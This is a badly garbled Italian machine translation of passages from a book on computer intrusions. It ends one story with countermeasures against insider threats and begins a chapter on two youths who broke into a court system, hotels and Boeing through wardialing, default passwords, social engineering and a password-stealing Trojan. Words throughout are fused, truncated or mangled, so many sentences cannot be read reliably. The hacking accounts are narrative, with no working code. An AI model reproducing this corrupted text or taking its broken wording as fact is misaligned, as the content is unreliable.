é andato a scuola. Ho diritto di A e anche lavoreiocom- della scuola

centro di calcolo. "

Ora ha due gradi del socio - in arti liberali e egete

computer di manutenzione - sia pagato da aiutnfireai. Nonostante i due

gradi, William non hanno avuto abbastanza forturlaashny in atterraggio un com-
computer di lavoro. Cosi ha preso quello che potexare, accettando una posizione che
coinvolge

lavoro fisico. Accreditare la sua determinaziordeksuo datore di lavoro open-minded
atteggiamento: non appena l'azienda ha riconosldigoe competenze informatiche, e stato tirato
al largo delle attivita fisiche e messi al lavonaun lavoro che fa un uso migliore della sua
gualifiche tecniche. E 'informatica aziendale ditnoe, non la rete

progettazione avrebbe preferito fare, ma soddisé bisogno spendendo

tempo durante il fine settimana per capire modassb costo della rete del com-

sistemi informatici per due chiese Houston-zonae&woolontario.

Questi due uomini stanno come eccezioni. In ungiueurgenti e

sfide meno discussi della societa americana cordgeanpa, la maggior parte dei criminali
scarcerato affrontare un ostacolo quasi impossibileovare un lavoro, cialmente
cialmente qualsiasi lavoro che paga abbastanzsoségnere una famiglia che non é difficile da
capire: come molti datori di lavoro possono essereri circa l'idea di hir-

ing un assassino, un rapinatore armato, uno stupfatn molti Stati sono ineli-

Gible per il benessere, lasciando pochi modi diesessi mentre

continuando la ricerca quasi disperata per il lavbe loro opzioni sono gravemente
limitati - e poi ci chiediamo perché cosi tantinare rapidamente in prigione,

e assumere deve essere che non hanno la volorntée secondo le regole.

Oggi, William ha qualche consiglio solido per i gami ei loro genitori:

Non credo che ci sia una cosa che si puo dire eagazzo per

farli cambiare, non per avere un valore in s¢, e

conoscere, e non prendere il breve tratto di strgurche ‘'la lunga strada sempre

sembra essere la piu soddisfacente alla fine.da smai

sedersi stagnanti perché non ti senti che sei deljifere

che cosa dovete fare.

Danny sarebbe senza dubbio anche d'accordo cotequagsle di William di:

lo non cambierei la mia vita ora nothin 'sulla tarrSono venuto a

credo di poter guadagnare la mia strada nella yi&x mio merito e non
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prendere scorciatoie. Nel corso degli anni ho ingiarche avrei potuto avere persone
il rispetto di me sul mio merito. Questo € quehe cerco di vivere oggi.
lo
Nsight
Questa storia chiarisce che molti attacchi inforonabn possono essere protetti
contro semplicemente garantire il perimetro. Quahdattivo non &€ un adolescente
hacker o computer abile ladro, ma un insider -aomtento
dipendente, un ex operaio amaro recentemente iatenn, come in questo caso, un po'
altro tipo di addetti ai lavori come William e Dann
Addetti ai lavori spesso rappresentano una minaneggiore di attaccanti leggiamo in
i giornali. Mentre la maggior parte dei controllisicurezza si concentrano su
protezione del perimetro contro 'attaccante estegrl'insider che
ha accesso alle apparecchiature fisica ed eletipoablaggio, chiu- telefono



ETS, workstation e connettori di rete. Sanno arttegenel all'organizzazione

zione gestisce informazioni sensibili e quali tesisi informatici

le informazioni sono memorizzate su, cosi comeatlondi bypassare i controlli messi in atto
a ridurre i furti e le frodi.

Un altro aspetto della loro storia mi ricorda lifidi Shawshank

Redemption In esso, un prigioniero di nome Andy e un CPRufse delle guardie
hanno a preparare le loro dichiarazioni dei reddd# loro consigli sui migliori

modi di strutturare le loro finanze a limitare ésponsabilita fiscale. Pacita di Andy
legami diventano ampiamente conosciuti tra il peas® carcerario; portando a piu libro-
mantenendo il lavoro a livelli piu alti nella pragie, finché alla fine lui & in grado di
esporre il Warden, che é stato "cucinando” i liNion solo in un

carcere ma ovunque, tutti abbiamo bisogno di esgzato e discreto su

guali diamo informazioni sensibili a.

Nel mio caso, il maresciallo di servizio degli $taniti ha creato un livello elevato

di paranoia sulla mie capacita. Hanno messo unrameanto nel mio file cautela
funzionari della prigione mento non divulgare algumformazione personale per me -
nemmeno darmi i loro nomi, in quanto ritenevano umee selvaggia che io

potrebbe attingere pletora del governo di bancliesdgrete e cancelli

I'identita di chiunque, anche un maresciallo feldei@redo che avevano visto

"The Net" una volta di troppo.

C

OUNTERMEASURES

Tra le piu significative controlli di sicurezza cheo essere efficace nel pre-
ventilazione e individuare gli abusi insider sonesti:

. ResponsabilitdDue pratiche comuni sollevano problemi di respbitisa: il

uso dei cosiddettionti basati sui ruolt conti condiviso da piu

gli utenti; e la pratica di condivisione delle im@azioni di account o password
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per consentire I'accesso quando un dipendenterieufficio o indisponibile
grado. Entrambi creare un ambiente di negazionesfilde quando
le cose vanno male sul serio.
Molto semplicemente, le informazioni conto condmige dovrebbe essere scoraggiato se
non del tutto vietata. Questo include permettenutauoratore a
usare il suo / la sua postazione di lavoro, quanasto € necessario fornire sign-on
informazioni.
Obiettivo-ricco ambiente. Nella maggior parte delle aziende, un attaccameeptio
trovare il modo di entrare nelle aree di lavordalstruttura puo facilmente
trovare un modo per ottenere lI'accesso ai sisteowhi lavoratori bloccano la loro com-
puter quando si lascia loro area di lavoro o useestsaver o start-up
le password. Ci vogliono solo pochi secondi pematintenzionato di installare
software di monitoraggio dello stealth su una wtaksn non protetta. In un
banca, cassieri bloccare sempre il loro cassettcot¢anti prima di allontanarsi.
Purtroppo, € raro vedere questa pratica in ustirin a
tipi di istituzioni.
Considerare l'attuazione di una politica che ridhiéutilizzo di un screening
Password saver o altri programmi per bloccarereldttamente la
macchina. Assicurarsi che il reparto IT applicaggagolitica
attraverso la gestione della configurazione.



Gestione delle password.a mia ragazza € stato recentemente impiegatoaa u
Fortune 50 societa che utilizza un modello previegitell'assegnare

le password per esterno basato sul Web l'accesaoét: il nome dell'utente
seguito da un numero casuale a tre cifre. E imppQaesta password

guando la persona € assunto e non puo mai essebiata dal

dipendente. Questo rende possibile per qualsipsndente per scrivere
semplice script che possono determinare la passwaron piu di

1.000 tentativi - giro di pochi secondi.

Le password per i dipendenti, sia impostato daltaeta o selezionato da
dipendenti, non devono avere un modello che liedadiimente

prevedibile.

L'accesso fisicodipendenti qualificato familiare con la com-

rete di societa puo facilmente utilizzare il loezasso fisico al compromesso
sistemi quando nessuno € intorno. Ad un certo pertan dipendente

di GTE della California, la societa di telecomunzicai. Avere

accesso fisico all'edificio era come avere le dhialla

regno - tutto era spalancata. Chiunque poteva caarmiino a

una postazione di lavoro in cabina di un dipenderdeufficio e ottenere lI'accesso
a sistemi sensibili.

Se i dipendenti sarebbero adeguatamente proteglgecedesktop, workstation,
portatili e dispositivi PDA, utilizzando le passwiaiel BIOS e sicure

logout, o bloccare il loro computer, il cattivo'iaiferno

avra bisogno di piu tempo per raggiungere i su@ttiti.
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Dipendenti Train sentirsi a proprio agio le persdiigcili cui
identita e incerta, soprattutto nelle aree senstbiilizzare rezza fisica
Controlli rezza come macchine fotografiche e /stesni di accesso distintivo per il controllo
ingresso, la sorveglianza, e il movimento all'intedella struttura. Considerare
verificando periodicamente i registri di entratdi @scita fisici per identificare insolito
modelli di comportamento, soprattutto quando umdixte di sicurezza si pone.
cubicoli "morto” e altri punti di accesso. Quando un dipendente
lascia la societa o viene trasferito in una poseidiversa, lasciando
un box vuoto, un insider dannoso in grado di caengttramite rete diretta
prese di lavoro nella cabina di sondare la re@eggendo
la / sua identita. O peggio, una stazione di lavonane spesso dietro in
cubicolo, collegato alla rete di pronto da usamegb@inque,
tra cui l'insider maligni (e, cosi, qualsiasi harnaizzato
visitatore che scopre il box abbandonati).
Altri punti di accesso in luoghi come sale confeenffrono anche facile
accesso alla insider intenzionato a fare danni.
Considerare disabilitando tutte le prese di rete utdizzate per impedire anonimo
0 accesso non autorizzato. Assicurarsi che taisitemi di computer in
box vacanti sono protetti contro l'accesso nonraazato.
Il personale in uscita.Ogni lavoratore che abbia dato disdetta
dovrebbe essere considerato un rischio potendialedipendenti devono essere
monitorati per qualsiasi accesso alle informazamiendali riservate,
in particolare la copia o il download di una quensignificativa di dati.
Con piccole unita flash USB ora prontamente didpbrihe pud contenere un



gigabyte o piu di dati, puo essere una questiomeimliti per caricare

grandi quantita di informazioni sensibili e di uscdalla porta

con esso.

Dovrebbe essere una pratica di routine di metestizioni sul un dipendente del
I'accesso prima della sua / suo essere notificsgerminazione, retrocessione,
o il trasferimento indesiderabile. Inoltre, consate il controllo del dipendente
utilizzo del computer per determinare qualsiasi aotorizzata o potenzialmente
attivita nocive.

L'installazione di hardware non autorizzato. L'insider dannoso puo

accedere facilmente cubicolo di un altro dipendenitestallare hardware o
software battitura logger per catturare passwallrieriservati

Informazioni ziale. Anche in questo caso, un fldgkie rende il furto di dati facile. La
politica di sicurezza che vieta qualsiasi introduz di dispositivi hardware
senza il permesso scritto, mentre giustificatoléura casi,

e certamente difficile alla polizia; dipendenti lggre saranno inconve-

nienced, mentre i maligni hanno alcun incentivollagtenzione

alla regola.

L'arte dell'intrusione

64

Pagina 86
In alcune organizzazioni che lavorano con formazstremamente sensibile
zioni, la rimozione o la disabilitazione la port&B sulle workstation potrebbe
essere un controllo necessaria.
Ispezioni walk-around dovrebbero essere condogiel@emente. In particolare,
questi controlli dovrebbero verificare che le manemon hanno avuto improprie
dispositivi wireless tuzioni, hardware keystrokgder o modem
allegata, e che nessun software € stato instatatezione dei casi.
Sicurezza o personale IT possono controllare pecd'sso wireless non autorizzato
punti nelle immediate vicinanze utilizzando un P& supporta
802.11, o anche un computer portatile dotato dird&ioft XP e wire-
meno carta. Microsoft XP é dotato di un programinatitita zero configurazione che
si apre una finestra di dialogo quando rileva untpwli accesso wireless in
immediate vicinanze.
Aggira processi.Come dipendenti conoscere business critical
processi all'interno dell'organizzazione, sonoria buona posizione per
identificare eventuali punti deboli con i pesi emtrappesi utilizzati per rilevare
frode o furto. Un operaio disonesto € in gradautiare o causa
altri danni significativi in base alla loro conosea di come il business
opera. Addetti ai lavori di solito hanno libero asso agli uffici, il file cabinet
reti, sistemi di posta interni, e avere la conogaeatel| giorno-to-
procedure aziendali giorno.
Considerare analisi dei processi aziendali sensilaititici indivi-
duare eventuali carenze cosi contromisure posssseeattuate. In
certe situazioni, sviluppando separazione dei conmpiequisito
il processo, dove un'operazione delicata esegaitand persona é
controllato in modo indipendente da un altro, iadyr di ridurre il rischio per la sicurezza.
On-site politiche visitatori. Stabilire una politica di sicurezza per visi- fuor
tori, compresi i lavoratori da altre sedi. Un edite
controllo di sicurezza é quello di obbligare i tasbri per presentare State-emesso
I'identificazione prima di poter essere nella $tma, e la registrazione



le informazioni in un registro di protezione. Sevelsse nascere qualche incidente di sicurezza,
puo essere possibile identificare I'autore deloreat

Inventario Software e auditing. Mantenere un inventario di tutti i

software autorizzato installato o concesso in kegper ogni sistema e peri-

camente controllare questi sistemi per la confan@tuesto processo di inventario

non solo assicura la conformita legale alle noriMeenza software,

ma puo anche essere utilizzato per identificaréstas software non autorizzato installazione
zioni che potrebbero influenzare negativamentéclarszza.

Installazione non autorizzata di software dannasoecgiornale di bordo di battitura

Gers, adware, o altri tipi di spyware sono diffidi rilevare, dipendenza

ing su come intelligente gli sviluppatori eranoascondere il programma

all'interno del sistema operativo.
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Considerare l'utilizzo di terze parti software coenaiale per identificare questi
tipi maligni di programmi, come il seguente:
e SpyCop (disponibile presso www.spycop.com)
e PestPatrol (disponibile presso www.pestpatrol.com)
e Adware (disponibile presso www.lavasoftusa.com)
Sistemi di controllo per l'integrita del software. Dipendenti o insid- dannoso
ERS potrebbe sostituire i file o le applicazioni sistema operativo critiche che
potrebbe essere utilizzato da controlli di sicueelagpass. In questa storia, il detenuto
gli hacker avevano cambiato il PC Anywhere applmae per funzionare senza
visualizzare un'icona nella barra delle applicazimmodo da non essere rilevati.
| funzionari della prigione di questa storia nonsoesi conto che ogni loro mossa
e stato periodicamente monitorato mentre DannylkeWi virtualmente
guardato sopra le loro spalle.
In alcune circostanze, puo essere opportuno ediiettun
verifica integrita, e di utilizzare un‘applicaziodieterze parti che notifica la
personale adeguato quando vengono apportate nfaldidile di sistema e
applicazioni sulla "lista di controllo™.
Privilegi eccessiviln ambienti basati su Windows, molti finale
gli utenti sono connessi in account con dirittadiministratore locale su
proprie macchine. Questa pratica, mentre piu conedae
molto facile per un insider scontento per installan keystroke logger o
monitoraggio (sniffer) su tutti i sistemi di retewe ha locale
privilegi di amministratore. Aggressori remoti poss anche inviare dannoso
programmi nascosti all'interno di un allegato anaHl che possono essere aperte
da parte dell'utente ignaro. La minaccia rappresarta questi allegati
puo essere minimizzato utilizzando la regola "mmipnivilegio", che significa
che gli utenti ei programmi dovrebbero eseguireigmivilegi minor numero ne-
sario per eseguire i loro compiti richiesti.
T
HE
B
OTTOM
L
INE
In alcune situazioni, il buon senso impone chedarezza elaborate pre-



precauzioni sono una perdita di tempo. In una scoolitare, per esempio, si farebbe
Non aspettatevi il corpo studentesco per essargiie con le persone in cerca di ogni
possibile occasione per imbrogliare o sfidare ¢wke. In un elementare

scuola, non vi aspettereste di dieci anni per egsérinformati

sulla sicurezza informatica che il guru della tdog@ personale.

E in una prigione, non ci si aspetterebbe chedrut, strettamente sorvegliati,

vivere sotto un insieme di regole rigide, avrebbgdto i mezzi non solo per lavorare
la loro strada su Internet, ma poi a passare taevalta, giorno dopo

L'arte dell'intrusione

66

Pagina 88
giorno, godersi la musica, i film, le comunicazigon il sesso opposto, e
imparare sempre di piu sui computer.
La morale: se si sono incaricati della sicurezake deformazioni per qualsiasi scuola,
gruppo di lavoro, societa, o altro ente - si daygp®rre che alcuni
avversario maligno, compreso qualcuno all'interelbadvostra organizzazione - €
alla ricerca di quella piccola crepa nel muro,dlinpiu debole della vostra sicurezza
catena per rompere la rete. Non date per scortt@tognuno sta per giocare
dalle regole. Fare cio che e conveniente per pieveotenziali intrusioni, ma
non dimenticare di continuare a cercare fuori pellq che vi siete persi. | cattivi sono
Conto su di voi per essere trascurato.
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Capitolo 4

Cops and Robbers

Sono entrato in questo aula piena di agenti delied dell'ordine e ha detto, "Do

VoI ragazzi riconoscere qualcuno di questi nomi®d'letto fuori un elenco dei nontino

agente federale ha spiegato: "Questi sono i giugiesso la Corte Distrettuale degli Stati Uniti a
Seattle. "E io dissi:" Bene, ho un file di passwqui con 26 password

incrinato. "Quei funzionari federali circa diventaverde.

- Don Boelling, Boeing Aircraft

M

att e Costa non stavano progettando un attacc@a#ang Aircraft;

appena scoperto che modo. Ma I'esito di questdence

e altri nella loro catena di attivita degli hackeesentarsi come un avvertimento

ing. | due potrebbero essere i ragazzi poster ancampagna per mettere in guardia altro ragazzo
hacker troppo giovani per apprezzare le consegudglieloro azioni.

Costa (pronunciato "COAST-uh") Katsaniotis iniziamnoscere

computer quando ha ottenuto un Commodore Vic 2&altli 11 anni e ha iniziato pro-
programmazione per migliorare le prestazioni deléecchina. A quella tenera eta, ha

ha anche scritto un pezzo di software che ha pariksuo amico per comporre e vedere un
elenco del contenuto del suo disco rigido. «E & kb iniziato con

computer e amare aspetto i what-fa-cosa-lavoreelieauna

Computer "e non solo di programmazione:. Ha sontfaodware,



spensierata, ha detto, di perdere le viti "peranhéntziato prendendo

Le cose a parte, quando avevo tre anni. "

Sua madre lo mando a una scuola privata cristianaafl'ottavo grado e

poi a una scuola pubblica. A quell'eta i suoi gosisicali si chino verso U2

(Era il suo primo album e lui &€ ancora un granag,feosi come Def Leppard e
"Alcune delle musiche piu scuro”; nel frattempaosgusti in informatica erano
ampliando per includere "entrare in che cosa pédrei con i numeri di telefono.”
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Un paio di ragazzi piu grandi aveva imparato estercérca 800-WATS, telefono
numeri che potrebbero utilizzare per effettuaramtaite gratuite a lunga distanza.
Costa amato computer e aveva una conoscenza eatiiifato.
Forse l'assenza di un padre accresciuto interetsaldlescente in un mondo
dove ha goduto di un controllo completo.
Poi al liceo ho un po preso una pausa e ho cagi® @sa
ragazze erano. Ma ho ancora sempre avuto la miaipas per i computer e
sempre mantenuto quelli a portata di mano. lo dewwen iniziare il decollo
con I'hacking fino a quando ho avuto un computegrado di gestire e
che era il Commodore 128.
Costa ha incontrato Matt - Charles Matthew Anderssun una BBS (bulletin
scheda di sistema) nella zona di stato di Washmdtravamo amici di credo
probabilmente un anno via telefono e messaggistiagueste bacheche
prima che in realta anche incontrato. "Matt - laroaniglia " Cerebrum "-
descrive la sua infanzia come "abbastanza norm@aiey'.padre era un ingegnere
Boeing e aveva un computer a casa che Matt & eanoesso di usare. E
facile immaginare il padre cosi a disagio con kEfgrenze del ragazzo in
musica ("industriale e alcune delle cose piu squiadie ha trascurato quello
il percorso pericoloso Matt stava seguendo sul agerp
Ho iniziato a imparare a programmare di base quaadevo circa nove
anni.Ho trascorso la maggior parte della mia adolesceantrare in grafica
e musica sul computer. Questo e uno dei motivinuh@ace ancora com-
puter oggi - I'nacking su quella roba multimedialelavvero divertente.
Ho preso I'roba di hacking nel mio ultimo annoiakb,
entrare nel lato phreaking di essa, imparare a plere vantaggiosa
tage della rete telefonica che é stato utilizzaodbcenti e
agli amministratori di effettuare chiamate a lundiagtanza. Ero pesantemente in
che nei miei anni di scuola superiore.
Matt finito il liceo tra i primi 10 nella sua classe entrato nella
University of Washington, e apprende su ereditzattiolo:
mainframe. Al college, con un account legittimousuUnix
la macchina, ha iniziato a insegnare se stessamsupér la prima volta, "con
I'aiuto dei BBS e siti web sotterranei. "
Phreaking
Dopo sono diventati una squadra, sembrava cheéMatista conducevano
I'altro nella direzione sbagliata, la strada dplfateria nel
sistema telefonico, cosiddetta attivita di "phregKi Una notte, Costa
ricorda, i due andarono in una spedizione cheaglklr chiamano "cassonetto
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immersioni, "purga attraverso la spazzatura lagdiatri dai ripetitori della cella
compagnie telefoniche. "Nella spazzatura tra falndaffe e altro

roba puzzolente, abbiamo ottenuto una lista di t@ne e ogni numero di telefono "- il
numero di telefono e il numero di serie elettronie@ SN, che € un unico

identificativo assegnato a ogni telefono cellul&@eme una coppia di gemelli ricordare un
evento dall'infanzia condivisa, Matt carillon ifQuesti erano i numeri di prova

che i tecnici avrebbero usato per testare i puriirda del segnale. Avrebbero

telefoni cellulari speciali che sarebbe unico pezlia torre. "

| ragazzi hanno acquistato OKI 900 celle di teleferun dispositivo per bruciare nuova pro-
programmazione sui chip di computer nei teleforanhb fatto piu di

basta programmare nuovi numeri; mentre erano aaumno anche installato un spe-

ciale aggiornamento del firmware che ha permessodoprogrammare qualsiasi telefono
desiderato

numero e numero ESN in ciascuno dei telefoni. Rrognando la

telefoni ai numeri speciali di test che avevaneadto, i due erano For-

ing si servizio di telefonia cellulare gratuito.'dtente sceglie quale numero

vuole usare per effettuare una chiamata. Se dowegsdtevamo passare attraverso

a un altro numero reale veloce, "Costa ha detto.

(Questo & quello che io chiamo "il Kevin Mitnickapio di telefono cellulare" - azzerare un
mese, azzerare un minuto, ma si puo finire perngaga prezzo pesante in

fine, se sai cosa voglio dire.)

Con guesta riprogrammazione, Matt e Costa potreblaee la cella

telefonate che volevano, in qualsiasi parte deldnpse sono stati registrati i richiami

a tutti, avrebbero continuato a libri come attivitéiciale della cella

societa. Nessun spese, nessuna domanda. Proproogmiphreaker telefono o

di hacker piace.

Entrare in Corte

Atterraggio in tribunale e l'ultima cosa qualsiaacker vuole fare, che ne so

fin troppo bene. Costa e Matt ottenuto in triburalénizio della loro pirateria

insieme, ma in un senso diverso.

Oltre dumpster diving e telefono phreaking, i doec avrebbero

spesso impostare la loro composizione computeuelirg, alla ricerca di modem dial-up, che
potrebbe essere collegato a sistemi informaticipditesbbero penetrare. Potevano

tra loro il check out fino a 1200 numeri di telefoin una notte. Con

le loro macchine di composizione non-stop, potreblocerrere attraverso un intero telefono
prefisso in due o tre giorni. Quando tornarono lalte macchine, il com-

registri informatici avrebbero mostrato rispostalganumeri di telefono che avevano ottenuto
da. "Stavo correndo mio wardialer per la scansdina prefisso a Seattle, 206-553,"

Matt ha detto. "Tutti i numeri di telefono appageno alle agenzie federali di qualche tipo
o un altro. Quindi, solo che prefisso telefonica en obiettivo caldo perché e

dove si troverebbero i computer del governo fedetaln realta, avevano

senza un motivo particolare per verificare le agegevernative.
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Costa: eravamo bambini. Non avevamo piano generale.
Matt: Quello che fai € semplicemente un po buttaretiamel mare
e vedere che tipo di pesce che si torni con.
Cogta: Era piu di un "Che cosa possiamo fare stasera‘adqm,
"Cosa possiamo scansionare stasera?"



Costa guardo la sua guerra log dialer un giorna @isto che il programma

era composto in un computer che ha restituito tmecne leggere qualcosa di simile
". US District Courthouse" E 'anche detto: "Quéstaoprieta federale”, ha

penso: "Questo sembra succosa.”

Ma come entrare nel sistema? Hanno ancora bisdgnmoribme utente e una password
word. "Penso che sia stato Matt che indovinata@e d@iosta. La risposta e stata

troppo facile: Nome utente: "public." Passwordotbblico” Vi era quindi "questo
davvero forte, bandiera scary "sul sito di essepaprieta federale, ancora

sicurezza reale blocco della porta.

"Una volta eravamo nel loro sistema, abbiamo otteiidile delle password”, dice Matt.
Sono facilmente ottenuto i giudici sign-on nomeghssword. "Giudici

sarebbe in realta rivedere informazioni docketsel gistema giudiziario e

potrebbe guardare informazioni giuria o guardaee d¢astory. "

Percependo il rischio, Matt dice: "Non abbiamo esqie troppo nel cortile.”

Almeno, non per il momento.

Gli ospiti dell'Hotel

Nel frattempo, i ragazzi erano impegnati in al@ttsri. "Una delle cose che abbiamo anche
compromesso era una cooperativa di credito. Mascbpaerto un modello nel mero

bri per i loro codici che ha reso facile per noeféelefonate "a

spese dell'associazione. Avevano anche in progradnerarare nel computer

sistema del Dipartimento di veicoli a motore "e eedche tipo di guidatore

licenze di ver e cose che potevamo fare ".

Hanno continuato ad affinare le proprie competenpenetrare nei computer. "Noi
erano in un sacco di computer in citta. Eravammoimcessionarie auto.

Oh, e non c'era un albergo nella zona di Seatitlavévo chiamato e

ha agito come se fosse un tecnico software peetida che ha fatto la

software di prenotazione dell'hotel. Ho parlato aoa delle signore alla reception

e ha spiegato che stavamo avendo alcune diffitettéiche, e lei

non sarebbe in grado di fare il suo lavoro cornedtiate a meno che lei € andato avanti e ha fatto
alcuni cambiamenti. "

Con questo standard, familiare ingegneria soci@ssa, Matt facilmente

scoperto le informazioni di accesso per il sisteithaome utente e

Password erano 'hotel' e 'imparare’. "Quelli eglnsviluppatori di software '
impostazioni di default, non € mai cambiato.
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Il break-in ai computer del primo hotel ha forniboo un apprendimento
ing curva su un pacchetto software prenotaziorarghiere che si e rivelata
abbastanza ampiamente utilizzato. Quando i ragizaira un altro hotel alcuni mesi
piu tardi, hanno scoperto che anche questa, parehhilizzare il software che
erano gia a conoscenza. E hanno capito I'hotetiplogr utilizzare la
stesse impostazioni predefinite. Avevano ragionergtambi i fronti. Secondo Costa:
Abbiamo effettuato I'accesso al computer dell'ajbeHo avuto uno schermo fondamentalmente
solo
come avrebbero proprio i in albergo. Cosi ho cgéto e
prenotato una suite, una delle top 300 dollari sudt notte con acqua
vista e il bar e tutto.
Ho usato un nome falso, e mettere una nota cheepagito in contanti $ 500 aveva
effettuati alla stanza. Riservato per una nottentérno-raising.Noi



fondamentalmente rimasto |i per tutto il weekendtefggiato, e svuotato

il mini bar.

Il loro accesso al sistema informatico della stmatha anche dato loro l'accesso ai
informazioni su ospiti che avevano soggiornato swd$iotel, "compreso il loro
informazioni finanziarie. "

Prima di controllare fuori I'hotel, i ragazzi fertndalla reception

e trovato a cambiamento da loro "deposito in cdnta@uando I'impiegato ha detto
I'hotel avrebbe mandato un assegno, gli hannowtatodirizzo falso e sinistra.

"Non ci hanno mai condannato per questo," Costa diggiungendo: "Speriamo che il
prescrizione € alto. "Qualche rimpianto? Difficilmte. "Quello era un po

po 'di un payoff in quel bar bagnato ".

Apertura di una porta

Dopo quel fine settimana selvaggia, i ragazzi iaggrati tornarono al loro com-

puter per vedere che altro potevano fare con I'natBistretto

Court. Ben presto scoperto che il sistema operat@laiudice

computer era stato acquistato da una societa ¢camelemo successiva.

Il software ha una funzione built-in che farebbattre una telefonata a

Sono stati necessari patch software in qualsiasi@embo successivi - per esempio, "Se un
cliente di un computer successivo compro un fireedlfunzionamento

patch necessarie per il firewall di sistema pegese, I'azienda ha avuto un metodo
per I'accesso al proprio sistema informatico aaénger ottenere le patch.

Questo e fondamentalmente come era allora, "Ceasspiegato.

Matt aveva un amico, un altro programmatore C,heéhavuto la capacita di scrivere
un Trojan - un pezzo di software che fornisce ulongegreto per un hacker

tornare su un computer che ha fatto la sua strageecedenza. Questo era molto
utile se le password vengono modificate 0 sonoepadise misure per bloccare I'accesso.
Attraverso il computer presso la Corte distrettuilatt ha inviato il Trojan al
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Successivamente computer aziendale. Il softwatateé grogettato in modo che
sarebbe anche "catturare tutte le password e serivein file segreto, come
cosi come ci permettono una radice [Amministratmeesso] bypass in caso abbiamo mai avuto
bloccato ".
Ottenere nel computer successiva li ha portathaspettato
Bonus: lI'accesso a un elenco di altre societa sbgue il OPERATE successiva
sistema opera-. Oro puro. "Ci ha detto quali atteezchine che potrebbero
accesso. "Una delle societa citate nella listauargigante ditta locale,
il luogo in cui il padre di Matt lavorava: Boeingréraft.
"Abbiamo ottenuto un nome utente e password dgdltinere successiva,
e hanno lavorato sulle scatole che aveva venduéinBoAbbiamo scoperto che avevamo
accesso a login nomi e password per tutte le eaBekting ", ha detto Costa.
La prima volta che Matt ha chiamato il numero tkfieno per le connessioni esterne
al sistema di Boeing, ha colpito un colpo di foeun
L'ultima persona che ha chiamato in non aveva apglenodem correttamente
in modo che quando ho chiamato in realta ho avui@ sessione sotto qualche utente.
Avevo Unix shell di qualche ragazzo e ‘come, "VEowp improvvisamente in
impronta del ragazzo. "
(Alcuni modem dial-up primi non sono stati configtiin modo che sarebbe auto-
automaticamente disconnettere il sistema, quandiiamante ha riagganciato. Da giovane,



guando-

mai avrei imbattersi in questo tipo di configuramadi modem, |

causerebbe la connessione dell'utente per esserattacadere da una inviando un
comando per un interruttore compagnia telefoniaarol'ingegneria sociale una
tecnico telaio per tirare la connessione. Una w&la connessione é stata scoli
ken, potrei chiamare e avere accesso al conto ste@registrato in a

il tempo della connessione caduto. Matt e Costi#altia,

era semplicemente incappato in un collegament@®dancora vivo.)

Avere Unix shell di un utente ha fatto si che fogssdl'interno del firewall, con

il computer a tutti gli effetti in piedi da, in afa che dia istruzioni.

Matt ricorda:

Cosi immediatamente sono andato avanti e incrifeatua password e quindi

Ho usato che su alcune macchine locali in cui sstato in grado di ottenere radice
[Amministratore di sistema] accesso. Una volta kata radice, potremmo usare un po
degli altri account, provare ad andare su alcundelaltre macchine

le persone accedere, cercando in loro storia shell.

Se si trattava di un caso che il modem é capitdioeh quando

Matt ha chiamato, cosa stava succedendo a BoemrgdquMatt e Costa iniziarono
la pausa-in per la societa é stata ancora maggiimeidenza.
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A guardia del Barricades
In quel momento, la Boeing Aircraft era ospitarecomputer rezza di alto livello
Seminario rezza per un pubblico che comprendewsoperprovenienti da aziende, la legge
applicazione, FBI, e il Servizio Segreto.
Supervisione della sessione é stata Don Boellingyaimo intimo con Boeing
le misure di sicurezza per computer e gli sforzimpagliorare la loro. Don aveva
combattuto le battaglie di sicurezza interna pecenmo numero di anni. "ll nostro
la sicurezza della rete e l'informatica era coméngue, era fondamentalmente
zip. Ed ero davvero preoccupato per questo. "
Gia nel 1988, quando era con la Boeing di nuova&aione
Elettronica, Don aveva camminato in un incontro it@nesidente della divisione
e diversi vicepresidenti e ha detto: "Guarda clsaqmsso fare con
la rete. "Ha violato linee modem e ha dimostrate cbn vi erano
le password su di loro, e ha continuato a dimostdapoter attaccare qualunque
macchine che voleva. | dirigenti hanno visto un pater dopo l'altro che
aveva un account guest con la password "guestd. ladstrato come un
conto del genere rende facile per accedere alifjissword e scaricare
a qualsiasi altra macchina, anche al di fuori deticieta.
Aveva fatto il suo punto. "Che ha avviato il pragraa di sicurezza informatica a
Boeing, "ci ha detto Don. Ma lo sforzo e stato aaawella sua infanzia, quando Matt e
Costa ha iniziato le loro irruzioni. Lui aveva awttun momento difficile convincere
gestione di mettere realmente risorse e dei fimananti in sicurezza informatica. "
L'episodio Matt e Costa risulterebbe essere "quadoha fatto per me."
Il suo ruolo coraggiosa come portavoce per la skza ha portato a Don all'organizzazione
izing la classe forense innovativo a Boeing. "A go-
agente verno ci ha chiesto se volevamo aiutareevin gruppo di legge
polizia e dell'industria persone per generarefl@mazioni. L'organizzazione
zione e stato progettato per aiutare le forzeatdlhe treno in tecnologia informatica



forensics, che coinvolgono indagini tecniche ad &dtnologia. Quindi io ero uno di

I principali attori che hanno contribuito a mettersieme. Abbiamo avuto rappresentanti di
Microsoft, US West, la compagnia telefonica, urogdibanche, diversi renza

di- organizzazioni finanziarie. Agenti dei servsegreti € venuto a condividere la loro
conoscenza degli aspetti high-tech della contreiffee "

Don é stato in grado di ottenere Boeing a sporzamizle sessioni, che si sono svolte

in uno dei centri di formazione informatica deli&@xa. "Abbiamo portato in

circa trentacinque agenti delle forze dell'ordiee ggni classe di una settimana su come
di cogliere un computer, come scrivere il mandafoedquisizione, come fare |l

forensics sul computer, tutto funziona. E abbiaroxdgto a Howard

Schmidt, che in seguito é stato reclutato sullagdiomeland Security,

rispondendo al Presidente per le cose cyber-criiine

Il secondo giorno della classe, cercapersone didhoid. "Ho chiamato di nuovo
I'amministratore, Phyllis, e lei disse, 'Ci sonouale cose strane
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in corso in questa macchina e non riesco a caplo.certo numero di
directory nascoste avevano quello che sembravdifpassword in loro, lei
ha spiegato. E un programma chiamato Crack erseiouzione in background.
Quella era una cattiva notizia. Crack e un prograrpnogettato per rompere la crittografia
zione delle password. Prova un elenco di paroleaolista dizionario, nonché per-
mutazioni di parole come Bill1, Bill2, bill3 per ix@are di discernere la password.
Don mando il suo socio, Ken ("il nostro guru si@za Unix") per dare un'occhiata.
Circa un'ora dopo, Ken paging Don e gli disse: "&ghio che alzi
Qui. Questo sembra che potrebbe essere piuttodén Aldbiamo numerose password
parole incrinato e non appartengono a Boeing. €emod in parti-
lar si ha realmente bisogno di guardare. "
Nel frattempo, Matt era stato duramente al lavdlfimt@rno del computer Boeing
reti. Una volta aveva ottenuto I'accesso con I'amstratore di sistema legio
leges, "era facile accedere ad altri account, oei@a alcuni dei
